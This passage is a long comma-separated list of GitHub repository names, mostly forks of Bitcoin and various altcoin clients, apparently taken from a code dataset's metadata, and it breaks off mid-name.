haim\/smallchange,zenywallet\/bitzeny,jamesob\/bitcoin,miguelfreitas\/twister-core,Thracky\/monkeycoin,chaincoin\/chaincoin,Twyford\/Indigo,deeponion\/deeponion,netswift\/vertcoin,cyrixhero\/bitcoin,3lambert\/Molecular,Kixunil\/keynescoin,cotner\/bitcoin,sproutcoin\/sprouts,wiggi\/fairbrix-0.6.3,Coinfigli\/coinfigli,memorycoin\/memorycoin,RibbitFROG\/ribbitcoin,MarcoFalke\/bitcoin,WorldcoinGlobal\/WorldcoinLegacy,coblee\/litecoin-old,Dajackal\/Ronpaulcoin,CryptArc\/bitcoinxt,Gazer022\/bitcoin,alejandromgk\/Lunar,GwangJin\/gwangmoney-core,diggcoin\/diggcoin,wiggi\/huntercore,marlengit\/hardfork_prototype_1_mvf-bu,greencoin-dev\/digitalcoin,DynamicCoinOrg\/DMC,FinalHashLLC\/namecore,elecoin\/elecoin,MonetaryUnit\/MUE-Src,Peer3\/homework,shea256\/bitcoin,bitcoin-hivemind\/hivemind,goldcoin\/Goldcoin-GLD,Coinfigli\/coinfigli,aniemerg\/zcash,sarielsaz\/sarielsaz,bdelzell\/creditcoin-org-creditcoin,crowning-\/dash,bickojima\/bitzeny,dooglus\/bitcoin,raasakh\/bardcoin,jimblasko\/UnbreakableCoin-master,willwray\/dash,coinkeeper\/2015-06-22_18-30_anoncoin,tobeyrowe\/KitoniaCoin,ajtowns\/bitcoin,coinkeeper\/2015-06-22_18-30_anoncoin,PandaPayProject\/PandaPay,daeMOn63\/Peershares,tatafiore\/mycoin,segwit\/atbcoin-insight,Richcoin-Project\/RichCoin,CoinGame\/BCEShadowNet,FarhanHaque\/bitcoin,gandrewstone\/bitcoinxt,ddombrowsky\/radioshares,Sjors\/bitcoin,Gazer022\/bitcoin,DigitalPandacoin\/pandacoin,namecoin\/namecoin-core,schinzelh\/dash,joshrabinowitz\/bitcoin,Bitcoin-com\/BUcash,s-matthew-english\/bitcoin,bitchip\/bitchip,shaolinfry\/litecoin,goldmidas\/goldmidas,joshrabinowitz\/bitcoin,namecoin\/namecoin-core,Mrs-X\/Darknet,bfroemel\/smallchange,deadalnix\/bitcoin,lateminer\/bitcoin,segwit\/atbcoin-insight,anditto\/bitcoin,greencoin-dev\/digitalcoin,mm-s\/bitcoin,cqtenq\/Feathercoin,DGCDev\/argentum,gwillen\/elements,themusicgod1\/bitcoin,SmeltFool\/Wonker,bdelzell\/creditcoin-org-creditcoin,NateBrune\/bitcoin-fio,zebrains\/Blotter,jameshilliard\/bitcoin,cinnamoncoin\/groupcoin-1,TeamBitBean\/bitcoin-core,schinzelh\/dash,deeponion\/deeponion,zcoinofficial\/zcoin,practicalswift\/bitcoin,KaSt\/equikoin,vectorcoindev\/Vector,kleetus\/bitcoinxt,Bitcoinsulting\/bitcoinxt,howardrya\/AcademicCoin,coinkeeper\/2015-06-22_18-36_darkcoin,pocopoco\/yacoin,pelorusjack\/BlockDX,FuzzyBearBTC\/Peershares2,arnuschky\/bitcoin,andres-root\/bitcoinxt,aburan28\/elements,ghostlander\/Feathercoin,tjth\/lotterycoin,kevcooper\/bitcoin,zetacoin\/zetacoin,3lambert\/Molecular,bitpay\/bitcoin,se3000\/bitcoin,peacedevelop\/peacecoin,coinerd\/krugercoin,BTCfork\/hardfork_prototype_1_mvf-bu,lateminer\/DopeCoinGold,bitshares\/bitshares-pts,MeshCollider\/bitcoin,Exgibichi\/statusquo,nlgcoin\/guldencoin-official,welshjf\/bitcoin,byncoin-project\/byncoin,goku1997\/bitcoin,jonghyeopkim\/bitcoinxt,FinalHashLLC\/namecore,howardrya\/AcademicCoin,Jcing95\/iop-hd,GroestlCoin\/GroestlCoin,SartoNess\/BitcoinUnlimited,uphold\/bitcoin,jlcurby\/NobleCoin,IlfirinIlfirin\/shavercoin,Rav3nPL\/bitcoin,qtumproject\/qtum,andreaskern\/bitcoin,bdelzell\/creditcoin-org-creditcoin,dgenr8\/bitcoin,jtimon\/elements,megacoin\/megacoin,cculianu\/bitcoin-abc,segsignal\/bitcoin,dobbscoin\/dobbscoin-source,fsb4000\/novacoin,guncoin\/guncoin,united-scrypt-coin-project\/unitedscryptcoin,fanquake\/bitcoin,ahmedbodi\/test2,svcop3\/svcop3,viacoin\/viacoin,ClusterCoin\/ClusterCoin,maraoz\/proofcoin,IlfirinCano\/shavercoin,ahmedbodi\/vertcoin,21E14\/bitcoin,nightlydash\/darkcoin,elacoin\/elacoin,HashUnlimited\/Einsteinium-Unlimited,sbaks0820\/bitcoin,syscoin\/syscoin,xieta\/mincoin,domob1812\/namecore,DynamicCoinOrg\/DMC,scamcoinz\/scamcoin,wiggi\/fairbrix-0.6.3,MazaCoin\/mazacoin-new,svost\/bitcoin,FrictionlessCoin\/iXcoin,bespike\/litecoin,GIJensen\/bitcoin,robvanbentem\/bitcoin,JeremyRand\/bitcoin,starwels\/starwels,Kogser\/bitcoin,goku1997\/bitcoin,DSPay\/DSPay,sebrandon1\/bitcoin,grumpydevelop\/singularity,GroestlCoin\/bitcoin,internaut-me\/ppcoin,theuni\/bitcoin,alejandromgk\/Lunar,langerhans\/dogecoin,Kogser\/bitcoin,sirk390\/bitcoin,florincoin\/florincoin,djpnewton\/bitcoin,gazbert\/bitcoin,NunoEdgarGub1\/elements,litecoin-project\/litecoin,mitchellcash\/bitcoin,Stakemaker\/OMFGcoin,CodeShark\/bitcoin,syscoin\/syscoin,bitcoin-hivemind\/hivemind,stamhe\/bitcoin,dperel\/bitcoin,bitcoinec\/bitcoinec,jaromil\/faircoin2,inkvisit\/sarmacoins,morcos\/bitcoin,DGCDev\/digitalcoin,aburan28\/elements,Blackcoin\/blackcoin,crowning-\/dash,daliwangi\/bitcoin,zotherstupidguy\/bitcoin,40thoughts\/Coin-QualCoin,earonesty\/bitcoin,shouhuas\/bitcoin,fedoracoin-dev\/fedoracoin,ccoin-project\/ccoin,privatecoin\/privatecoin,franko-org\/franko,btcdrak\/bitcoin,zottejos\/merelcoin,PandaPayProject\/PandaPay,nathaniel-mahieu\/bitcoin,Justaphf\/BitcoinUnlimited,litecoin-project\/bitcoinomg,Earlz\/dobbscoin-source,masterbraz\/dg,tripmode\/pxlcoin,Alex-van-der-Peet\/bitcoin,imharrywu\/fastcoin,zenywallet\/bitzeny,nsacoin\/nsacoin,scamcoinz\/scamcoin,inutoshi\/inutoshi,Gazer022\/bitcoin,daveperkins-github\/bitcoin-dev,antcheck\/antcoin,jlopp\/statoshi,droark\/bitcoin,n1bor\/bitcoin,ionomy\/ion,bittylicious\/bitcoin,andreaskern\/bitcoin,JeremyRubin\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-bu,DigiByte-Team\/digibyte,TierNolan\/bitcoin,Open-Source-Coins\/EZ,vertcoin\/vertcoin,domob1812\/crowncoin,Cloudsy\/bitcoin,icook\/vertcoin,PIVX-Project\/PIVX,stevemyers\/bitcoinxt,landcoin-ldc\/landcoin,memorycoin\/memorycoin,shurcoin\/shurcoin,shouhuas\/bitcoin,fedoracoin-dev\/fedoracoin,funkshelper\/woodcoin-b,jlopp\/statoshi,digideskio\/namecoin,myriadcoin\/myriadcoin,meighti\/bitcoin,coinkeeper\/2015-06-22_19-07_digitalcoin,Horrorcoin\/horrorcoin,braydonf\/bitcoin,Ziftr\/ppcoin,braydonf\/bitcoin,NunoEdgarGub1\/elements,dgarage\/bc2,ahmedbodi\/vertcoin,coinkeeper\/terracoin_20150327,MitchellMintCoins\/MortgageCoin,jyap808\/jumbucks,2XL\/bitcoin,akabmikua\/flowcoin,novacoin-project\/novacoin,vizidrixfork\/Peershares,janko33bd\/bitcoin,mortalvikinglive\/bitcoinlight,EthanHeilman\/bitcoin,jlopp\/statoshi,dakk\/soundcoin,xeddmc\/twister-core,syscoin\/syscoin2,PandaPayProject\/PandaPay,tropa\/axecoin,daeMOn63\/Peershares,litecoin-project\/litecore-litecoin,tropa\/axecoin,vcoin-project\/vcoincore,capitalDIGI\/litecoin,fullcoins\/fullcoin,ripper234\/bitcoin,laudaa\/bitcoin,faircoin\/faircoin,svost\/bitcoin,ShwoognationHQ\/bitcoin,core-bitcoin\/bitcoin,markf78\/dollarcoin,deuscoin\/deuscoin,gandrewstone\/BitcoinUnlimited,stamhe\/ppcoin,ryanxcharles\/bitcoin,accraze\/bitcoin,Vsync-project\/Vsync,lakepay\/lake,bcpki\/nonce2testblocks,Anoncoin\/anoncoin,sstone\/bitcoin,mastercoin-MSC\/mastercore,shaolinfry\/litecoin,litecoin-project\/litecore-litecoin,deadalnix\/bitcoin,SmeltFool\/Wonker,KillerByte\/memorypool,1185\/starwels,Alonzo-Coeus\/bitcoin,sipsorcery\/bitcoin,hg5fm\/nexuscoin,adpg211\/bitcoin-master,ahmedbodi\/bytecoin,elambert2014\/novacoin,robvanmieghem\/clams,simonmulser\/bitcoin,myriadcoin\/myriadcoin,domob1812\/bitcoin,40thoughts\/Coin-QualCoin,osuyuushi\/laughingmancoin,pascalguru\/florincoin,dogecoin\/dogecoin,bmp02050\/ReddcoinUpdates,initaldk\/bitcoin,Diapolo\/bitcoin,drwasho\/bitcoinxt,gjhiggins\/vcoin0.8zeta-dev,stamhe\/novacoin,biblepay\/biblepay,coinkeeper\/2015-06-22_18-37_dogecoin,BitcoinUnlimited\/BitcoinUnlimited,Lucky7Studio\/bitcoin,gameunits\/gameunits,FuzzyBearBTC\/Peershares-1,ivansib\/sib16,saydulk\/Feathercoin,denverl\/bitcoin,litecoin-project\/bitcoinomg,fujicoin\/fujicoin,osuyuushi\/laughingmancoin,vericoin\/vericoin-core,DynamicCoinOrg\/DMC,penek\/novacoin,sugruedes\/bitcoinxt,bitgrowchain\/bitgrow,ForceMajeure\/BitPenny-Client-0.4.0.1,awemany\/BitcoinUnlimited,pstratem\/elements,bcpki\/nonce2testblocks,lakepay\/lake,mikehearn\/bitcoinxt,zemrys\/vertcoin,maaku\/bitcoin,krzysztofwos\/BitcoinUnlimited,LIMXTEC\/DMDv3,chaincoin\/chaincoin,CoinGame\/BCEShadowNet,WorldLeadCurrency\/WLC,novaexchange\/EAC,greencoin-dev\/digitalcoin,thelazier\/dash,DigitalPandacoin\/pandacoin,5mil\/Tradecoin,1185\/starwels,coinkeeper\/megacoin_20150410_fixes,llluiop\/bitcoin,Ziftr\/ppcoin,elacoin\/elacoin,TrainMAnB\/vcoincore,pinheadmz\/bitcoin,biblepay\/biblepay,MonetaryUnit\/MUE-Src,cannabiscoindev\/cannabiscoin420,vertcoin\/eyeglass,gjhiggins\/vcoin09,oklink-dev\/bitcoin,ekankyesme\/bitcoinxt,neutrinofoundation\/neutrino-digital-currency,jrick\/bitcoin,monacoinproject\/monacoin,javgh\/bitcoin,starwels\/starwels,CryptArc\/bitcoin,MazaCoin\/maza,segwit\/atbcoin-insight,goldcoin\/goldcoin,fussl\/elements,lakepay\/lake,prark\/bitcoinxt,elambert2014\/novacoin,gzuser01\/zetacoin-bitcoin,NicolasDorier\/bitcoin,marklai9999\/Taiwancoin,richo\/dongcoin,ghostlander\/Feathercoin,vericoin\/vericoin-core,DigitalPandacoin\/pandacoin,Checkcoin\/checkcoin,pinheadmz\/bitcoin,Kabei\/Ippan,shelvenzhou\/BTCGPU,jaromil\/faircoin2,jimmykiselak\/lbrycrd,kevcooper\/bitcoin,mruddy\/bitcoin,zixan\/bitcoin,lateminer\/bitcoin,itmanagerro\/tresting,Bitcoin-ABC\/bitcoin-abc,vcoin-project\/vcoin0.8zeta-dev,collapsedev\/cashwatt,jgarzik\/bitcoin,xurantju\/bitcoin,Gazer022\/bitcoin,KnCMiner\/bitcoin,FrictionlessCoin\/iXcoin,coinkeeper\/2015-06-22_19-13_florincoin,ohac\/sakuracoin,cdecker\/bitcoin,JeremyRubin\/bitcoin,FuzzyBearBTC\/Peershares-1,elambert2014\/cbx2,paveljanik\/bitcoin,tuaris\/bitcoin,PRabahy\/bitcoin,madman5844\/poundkoin,AquariusNetwork\/ARCOv2,zetacoin\/zetacoin,zzkt\/solarcoin,mikehearn\/bitcoinxt,2XL\/bitcoin,11755033isaprimenumber\/Feathercoin,KillerByte\/memorypool,Earlz\/renamedcoin,parvez3019\/bitcoin,brishtiteveja\/sherlockcoin,ticclassic\/ic,my-first\/octocoin,greencoin-dev\/GreenCoinV2,aburan28\/elements,BTCTaras\/bitcoin,vcoin-project\/vcoincore,shadowproject\/shadow,kevin-cantwell\/crunchcoin,thelazier\/dash,dgarage\/bc3,Flowdalic\/bitcoin,gcc64\/bitcoin,oklink-dev\/bitcoin_block,bcpki\/bitcoin,coinkeeper\/2015-06-22_18-51_vertcoin,midnight-miner\/LasVegasCoin,jgarzik\/bitcoin,balajinandhu\/bitcoin,5mil\/SuperTurboStake,btcdrak\/bitcoin,kevcooper\/bitcoin,my-first\/octocoin,zcoinofficial\/zcoin,daeMOn63\/Peershares,achow101\/bitcoin,TGDiamond\/Diamond,loxal\/zcash,markf78\/dollarcoin,kleetus\/bitcoinxt,Earlz\/dobbscoin-source,BigBlueCeiling\/augmentacoin,kbccoin\/kbc,daveperkins-github\/bitcoin-dev,sipsorcery\/bitcoin,jn2840\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,Mrs-X\/Darknet,supcoin\/supcoin,domob1812\/crowncoin,FrictionlessCoin\/iXcoin,nochowderforyou\/clams,nathaniel-mahieu\/bitcoin,zixan\/bitcoin,kryptokredyt\/ProjektZespolowyCoin,Kcoin-project\/kcoin,bitcoinec\/bitcoinec,experiencecoin\/experiencecoin,namecoin\/namecore,krzysztofwos\/BitcoinUnlimited,MasterX1582\/bitcoin-becoin,Alex-van-der-Peet\/bitcoin,apoelstra\/bitcoin,BeirdoMud\/MudCoin,Mrs-X\/Darknet,basicincome\/unpcoin-core,gapcoin\/gapcoin,schildbach\/bitcoin,llluiop\/bitcoin,brettwittam\/geocoin,javgh\/bitcoin,netswift\/vertcoin,nmarley\/dash,d5000\/ppcoin,GroestlCoin\/GroestlCoin,blackcoinhelp\/blackcoin,MitchellMintCoins\/MortgageCoin,webdesignll\/coin,blackcoinhelp\/blackcoin,franko-org\/franko,namecoin\/namecore,dexX7\/bitcoin,sebrandon1\/bitcoin,mrbandrews\/bitcoin,brishtiteveja\/truthcoin-cpp,Mirobit\/bitcoin,XX-net\/twister-core,bcpki\/nonce2,mrbandrews\/bitcoin,genavarov\/brcoin,Diapolo\/bitcoin,n1bor\/bitcoin,HashUnlimited\/Einsteinium-Unlimited,PIVX-Project\/PIVX,ediston\/energi,jimmysong\/bitcoin,ppcoin\/ppcoin,RyanLucchese\/energi,icook\/vertcoin,keesdewit82\/LasVegasCoin,djpnewton\/bitcoin,mapineda\/litecoin,bcpki\/nonce2testblocks,npccoin\/npccoin,mortalvikinglive\/bitcoinclassic,kseistrup\/twister-core,dmrtsvetkov\/flowercoin,Thracky\/monkeycoin,superjudge\/bitcoin,gjhiggins\/vcoin09,daveperkins-github\/bitcoin-dev,funkshelper\/woodcore,sugruedes\/bitcoin,MoMoneyMonetarism\/ppcoin,collapsedev\/circlecash,nbenoit\/bitcoin,robvanmieghem\/clams,pstratem\/elements,snakie\/ppcoin,coinkeeper\/2015-06-22_18-56_megacoin,oleganza\/bitcoin-duo,XertroV\/bitcoin-nulldata,koharjidan\/litecoin,Peer3\/homework,npccoin\/npccoin,bitpay\/bitcoin,Kore-Core\/kore,omefire\/bitcoin,jimmysong\/bitcoin,GeopaymeEE\/e-goldcoin,odemolliens\/bitcoinxt,denverl\/bitcoin,jyap808\/jumbucks,gameunits\/gameunits,prark\/bitcoinxt,chrisfranko\/aiden,IOCoin\/iocoin,rawodb\/bitcoin,wcwu\/bitcoin,alecalve\/bitcoin,killerstorm\/bitcoin,TripleSpeeder\/bitcoin,vmp32k\/litecoin,segwit\/atbcoin-insight,cyrixhero\/bitcoin,mortalvikinglive\/bitcoinlight,gzuser01\/zetacoin-bitcoin,Bluejudy\/worldcoin,Jeff88Ho\/bitcoin,xieta\/mincoin,GroestlCoin\/bitcoin,sbaks0820\/bitcoin,worldbit\/worldbit,FeatherCoin\/Feathercoin,my-first\/octocoin,TheoremCrypto\/TheoremCoin,Mirobit\/bitcoin,snakie\/ppcoin,instagibbs\/bitcoin,TheSeven\/ppcoin,knolza\/gamblr,PIVX-Project\/PIVX,mmpool\/coiledcoin,truthcoin\/blocksize-market,florincoin\/florincoin,practicalswift\/bitcoin,Peerapps\/ppcoin,rdqw\/sscoin,BitcoinHardfork\/bitcoin,FuzzyBearBTC\/peercoin,MonetaryUnit\/MUE-Src,keo\/bitcoin,tatafiore\/mycoin,qubitcoin-project\/QubitCoinQ2C,XX-net\/twister-core,RibbitFROG\/ribbitcoin,lbrtcoin\/albertcoin,dcousens\/bitcoin,achow101\/bitcoin,Dajackal\/Ronpaulcoin,prark\/bitcoinxt,GroestlCoin\/GroestlCoin,mikehearn\/bitcoinxt,sifcoin\/sifcoin,wangxinxi\/litecoin,particl\/particl-core,Climbee\/artcoin,mitchellcash\/bitcoin,dev1972\/Satellitecoin,elambert2014\/cbx2,enlighter\/Feathercoin,SproutsEx\/SproutsExtreme,ingresscoin\/ingresscoin,mockcoin\/mockcoin,ctwiz\/stardust,Kangmo\/bitcoin,BitcoinPOW\/BitcoinPOW,randy-waterhouse\/bitcoin,Domer85\/dogecoin,svcop3\/svcop3,som4paul\/BolieC,m0gliE\/fastcoin-cli,xranby\/blackcoin,redfish64\/nomiccoin,dperel\/bitcoin,Geekcoin-Project\/Geekcoin,sipsorcery\/bitcoin,hasanatkazmi\/bitcoin,koltcoin\/koltcoin,stamhe\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,lbryio\/lbrycrd,ixcoinofficialpage\/master,sickpig\/BitcoinUnlimited,bickojima\/bitzeny,krzysztofwos\/BitcoinUnlimited,kbccoin\/kbc,pastday\/bitcoinproject,gazbert\/bitcoin,apoelstra\/elements,21E14\/bitcoin,atgreen\/bitcoin,greenaddress\/bitcoin,isocolsky\/bitcoinxt,amaivsimau\/bitcoin,pelorusjack\/BlockDX,Crowndev\/crowncoin,KnCMiner\/bitcoin,botland\/bitcoin,redfish64\/nomiccoin,bitshares\/bitshares-pts,stevemyers\/bitcoinxt,UFOCoins\/ufo,cryptoprojects\/ultimateonlinecash,djtms\/ltc,tobeyrowe\/smallchange,5mil\/SuperTurboStake,scamcoinz\/scamcoin,ClusterCoin\/ClusterCoin,Rav3nPL\/bitcoin,UFOCoins\/ufo,sigmike\/peercoin,Exceltior\/dogecoin,oleganza\/bitcoin-duo,cryptcoins\/cryptcoin,webdesignll\/coin,zebrains\/Blotter,steakknife\/bitcoin-qt,IOCoin\/DIONS,Har01d\/bitcoin,schildbach\/bitcoin,JeremyRand\/namecoin-core,dexX7\/mastercore,reddcoin-project\/reddcoin,kevcooper\/bitcoin,fullcoins\/fullcoin,parvez3019\/bitcoin,rjshaver\/bitcoin,dopecoin-dev\/DopeCoinGold,CarpeDiemCoin\/CarpeDiemLaunch,rebroad\/bitcoin,tecnovert\/particl-core,elambert2014\/novacoin,ANCompany\/birdcoin-dev,xXDavasXx\/Davascoin,Bushstar\/UFO-Project,celebritycoin\/CelebrityCoin,shea256\/bitcoin,pastday\/bitcoinproject,genavarov\/brcoin,iosdevzone\/bitcoin,zestcoin\/ZESTCOIN,petertodd\/bitcoin,SmeltFool\/Wonker,vmp32k\/litecoin,Earlz\/renamedcoin,mobicoins\/mobicoin-core,thormuller\/yescoin2,CTRoundTable\/Encrypted.Cash,neureal\/noocoin,HeliumGas\/helium,coinkeeper\/2015-06-22_18-46_razor,mmpool\/coiledcoin,cdecker\/bitcoin,ShadowMyst\/creativechain-core,marlengit\/hardfork_prototype_1_mvf-bu,wtogami\/bitcoin,hasanatkazmi\/bitcoin,rawodb\/bitcoin,janko33bd\/bitcoin,OfficialTitcoin\/titcoin-wallet,raasakh\/bardcoin.exe,nathaniel-mahieu\/bitcoin,ctwiz\/stardust,mitchellcash\/bitcoin,wtogami\/bitcoin,ahmedbodi\/terracoin,UASF\/bitcoin,ptschip\/bitcoin,romanornr\/viacoin,bittylicious\/bitcoin,haobtc\/bitcoin,skaht\/bitcoin,coinkeeper\/2015-04-19_21-20_litecoindark,IOCoin\/DIONS,bitcoinplusorg\/xbcwalletsource,xurantju\/bitcoin,thesoftwarejedi\/bitcoin,shadowproject\/shadow,viacoin\/viacoin,brandonrobertz\/namecoin-core,faircoin\/faircoin,IOCoin\/DIONS,patricklodder\/dogecoin,razor-coin\/razor,n1bor\/bitcoin,dcousens\/bitcoin,sdaftuar\/bitcoin,tdudz\/elements,spiritlinxl\/BTCGPU,karek314\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,manuel-zulian\/accumunet,welshjf\/bitcoin,nbenoit\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,howardrya\/AcademicCoin,imton\/bitcoin,MoMoneyMonetarism\/ppcoin,shadowproject\/shadow,arruah\/ensocoin,xieta\/mincoin,ahmedbodi\/temp_vert,zsulocal\/bitcoin,peercoin\/peercoin,d5000\/ppcoin,dcousens\/bitcoin,FuzzyBearBTC\/Peershares2,langerhans\/dogecoin,ionux\/freicoin,zotherstupidguy\/bitcoin,phelix\/namecore,Ziftr\/ppcoin,REAP720801\/bitcoin,coinkeeper\/2015-06-22_18-52_viacoin,roques\/bitcoin,Kangmo\/bitcoin,saydulk\/Feathercoin,ahmedbodi\/Bytecoin-MM,yenliangl\/bitcoin,afk11\/bitcoin,xeddmc\/twister-core,ArgonToken\/ArgonToken,ElementsProject\/elements,degenorate\/Deftcoin,nightlydash\/darkcoin,JeremyRubin\/bitcoin,hg5fm\/nexuscoin,DigitalPandacoin\/pandacoin,pinheadmz\/bitcoin,zcoinofficial\/zcoin,dan-mi-sun\/bitcoin,dcousens\/bitcoin,rsdevgun16e\/energi,inkvisit\/sarmacoins,Whitecoin-org\/Whitecoin,internaut-me\/ppcoin,monacoinproject\/monacoin,Bushstar\/UFO-Project,emc2foundation\/einsteinium,dobbscoin\/dobbscoin-source,chaincoin\/chaincoin,simdeveloper\/bitcoin,Lucky7Studio\/bitcoin,Whitecoin-org\/Whitecoin,TierNolan\/bitcoin,isocolsky\/bitcoinxt,SmeltFool\/Yippe-Hippe,jmgilbert2\/energi,111t8e\/bitcoin,vtafaucet\/virtacoin,svcop3\/svcop3,Rav3nPL\/doubloons-08,qtumproject\/qtum,dobbscoin\/dobbscoin-source,Chancoin-core\/CHANCOIN,n1bor\/bitcoin,and2099\/twister-core,MazaCoin\/maza,guncoin\/guncoin,martindale\/elements,Diapolo\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,mrtexaznl\/mediterraneancoin,bitcoin\/bitcoin,SmeltFool\/Yippe-Hippe,elambert2014\/novacoin,mrbandrews\/bitcoin,balajinandhu\/bitcoin,Exgibichi\/statusquo,SmeltFool\/Yippe-Hippe,celebritycoin\/investorcoin,renatolage\/wallets-BRCoin,mastercoin-MSC\/mastercore,hyperwang\/bitcoin,vtafaucet\/virtacoin,iosdevzone\/bitcoin,nomnombtc\/bitcoin,argentumproject\/argentum,ftrader-bitcoinabc\/bitcoin-abc,truthcoin\/truthcoin-cpp,benma\/bitcoin,bfroemel\/smallchange,phplaboratory\/psiacoin,Ziftr\/ppcoin,Petr-Economissa\/gvidon,cybermatatu\/bitcoin,coinwarp\/dogecoin,CryptArc\/bitcoin,litecoin-project\/litecoin,peerdb\/cors,gjhiggins\/vcoin09,IOCoin\/DIONS,cainca\/liliucoin,rromanchuk\/bitcoinxt,coinkeeper\/2015-06-22_18-39_feathercoin,matlongsi\/micropay,psionin\/smartcoin,javgh\/bitcoin,ptschip\/bitcoinxt,metacoin\/florincoin,terracoin\/terracoin,coinkeeper\/2015-06-22_18-30_anoncoin,funbucks\/notbitcoinxt,vectorcoindev\/Vector,valorbit\/valorbit-oss,thormuller\/yescoin2,bitbrazilcoin-project\/bitbrazilcoin,compasscoin\/compasscoin,wederw\/bitcoin,LanaCoin\/lanacoin,Kogser\/bitcoin,lbrtcoin\/albertcoin,raasakh\/bardcoin.exe,Xekyo\/bitcoin,ingresscoin\/ingresscoin,diggcoin\/diggcoin,mapineda\/litecoin,ddombrowsky\/radioshares,zsulocal\/bitcoin,Mrs-X\/Darknet,enlighter\/Feathercoin,KibiCoin\/kibicoin,patricklodder\/dogecoin,imharrywu\/fastcoin,qtumproject\/qtum,bootycoin-project\/bootycoin,x-kalux\/bitcoin_WiG-B,peercoin\/peercoin,razor-coin\/razor,Erkan-Yilmaz\/twister-core,vbernabe\/freicoin,phelix\/bitcoin,bitcoinsSG\/zcash,patricklodder\/dogecoin,NunoEdgarGub1\/elements,ahmedbodi\/Bytecoin-MM,d5000\/ppcoin,anditto\/bitcoin,parvez3019\/bitcoin,Checkcoin\/checkcoin,atgreen\/bitcoin,ForceMajeure\/BitPenny-Client,MikeAmy\/bitcoin,blood2\/bloodcoin-0.9,nvmd\/bitcoin,razor-coin\/razor,braydonf\/bitcoin,kallewoof\/elements,Mirobit\/bitcoin,UdjinM6\/dash,snakie\/ppcoin,TurboStake\/TurboStake,nochowderforyou\/clams,oklink-dev\/bitcoin,prodigal-son\/blackcoin,coblee\/litecoin-old,habibmasuro\/bitcoinxt,ceptacle\/libcoinqt,robvanmieghem\/clams,internaut-me\/ppcoin,Anfauglith\/iop-hd,RHavar\/bitcoin,rawodb\/bitcoin,trippysalmon\/bitcoin,llamasoft\/ProtoShares_Cycle,roques\/bitcoin,gorgoy\/novacoin,genavarov\/lamacoin,cculianu\/bitcoin-abc,phelixbtc\/bitcoin,Cancercoin\/Cancercoin,thormuller\/yescoin2,cdecker\/bitcoin,fussl\/elements,petertodd\/bitcoin,hophacker\/bitcoin_malleability,czr5014iph\/bitcoin4e,DogTagRecon\/Still-Leraning,SandyCohen\/mincoin,experiencecoin\/experiencecoin,mortalvikinglive\/bitcoinlight,TheBlueMatt\/bitcoin,vcoin-project\/vcoincore,cannabiscoindev\/cannabiscoin420,zemrys\/vertcoin,superjudge\/bitcoin,paveljanik\/bitcoin,NateBrune\/bitcoin-fio,jimmykiselak\/lbrycrd,upgradeadvice\/MUE-Src,zzkt\/solarcoin,sbellem\/bitcoin,Kogser\/bitcoin,isghe\/bitcoinxt,glv2\/peerunity,osuyuushi\/laughingmancoin,balajinandhu\/bitcoin,pstratem\/bitcoin,shadowproject\/shadow,cinnamoncoin\/Feathercoin,ForceMajeure\/BitPenny-Client,ekankyesme\/bitcoinxt,hg5fm\/nexuscoin,bitreserve\/bitcoin,gwillen\/elements,Petr-Economissa\/gvidon,ptschip\/bitcoinxt,botland\/bitcoin,vlajos\/bitcoin,valorbit\/valorbit-oss,11755033isaprimenumber\/Feathercoin,Paymium\/bitcoin,jl2012\/litecoin,sirk390\/bitcoin,sstone\/bitcoin,butterflypay\/bitcoin,bespike\/litecoin,coinkeeper\/2015-06-22_18-39_feathercoin,dannyperez\/bolivarcoin,gwangjin2\/gwangcoin-core,Bushstar\/UFO-Project,pdrobek\/Polcoin-1-3,llluiop\/bitcoin,RibbitFROG\/ribbitcoin,okinc\/litecoin,GIJensen\/bitcoin,diggcoin\/diggcoin,gazbert\/bitcoin,koharjidan\/dogecoin,coinwarp\/dogecoin,Megacoin2\/Megacoin,npccoin\/npccoin,unsystemizer\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,Dajackal\/Ronpaulcoin,jl2012\/litecoin,Horrorcoin\/horrorcoin,SmeltFool\/Wonker,bcpki\/nonce2,cryptoprojects\/ultimateonlinecash,UFOCoins\/ufo,meighti\/bitcoin,supcoin\/supcoin,48thct2jtnf\/P,ardsu\/bitcoin,Rav3nPL\/bitcoin,zebrains\/Blotter,prusnak\/bitcoin,kazcw\/bitcoin,coinkeeper\/2015-06-22_18-45_peercoin,MazaCoin\/mazacoin-new,jeromewu\/bitcoin-opennet,byncoin-project\/byncoin,Ziftr\/ppcoin,sdaftuar\/bitcoin,maraoz\/proofcoin,jmcorgan\/bitcoin,gandrewstone\/bitcoinxt,tropa\/axecoin,benzhi888\/renminbi,RazorLove\/cloaked-octo-spice,midnight-miner\/LasVegasCoin,haraldh\/bitcoin,erqan\/twister-core,yacoin\/yacoin,isle2983\/bitcoin,Jheguy2\/Mercury,pastday\/bitcoinproject,mammix2\/ccoin-dev,coinkeeper\/2015-06-22_19-19_worldcoin,emc2foundation\/einsteinium,Mirobit\/bitcoin,manuel-zulian\/CoMoNet,gavinandresen\/bitcoin-git,czr5014iph\/bitcoin4e,jul2711\/jucoin,SartoNess\/BitcoinUnlimited,Richcoin-Project\/RichCoin,hasanatkazmi\/bitcoin,40thoughts\/Coin-QualCoin,MarcoFalke\/bitcoin,pouta\/bitcoin,MitchellMintCoins\/AutoCoin,supcoin\/supcoin,argentumproject\/argentum,slingcoin\/sling-market,kleetus\/bitcoinxt,butterflypay\/bitcoin,ediston\/energi,okinc\/bitcoin,forrestv\/bitcoin,bitpay\/bitcoin,ivansib\/sibcoin,argentumproject\/argentum,xieta\/mincoin,genavarov\/brcoin,nigeriacoin\/nigeriacoin,Darknet-Crypto\/Darknet,krzysztofwos\/BitcoinUnlimited,applecoin-official\/applecoin,Bluejudy\/worldcoin,supcoin\/supcoin,bdelzell\/creditcoin-org-creditcoin,kleetus\/bitcoinxt,OmniLayer\/omnicore,rromanchuk\/bitcoinxt,TierNolan\/bitcoin,1185\/starwels,inkvisit\/sarmacoins,dannyperez\/bolivarcoin,ftrader-bitcoinabc\/bitcoin-abc,netswift\/vertcoin,dooglus\/bitcoin,ryanofsky\/bitcoin,hsavit1\/bitcoin,instagibbs\/bitcoin,EntropyFactory\/creativechain-core,prusnak\/bitcoin,TBoehm\/greedynode,Har01d\/bitcoin,JeremyRand\/namecore,slingcoin\/sling-market,2XL\/bitcoin,MOIN\/moin,Someguy1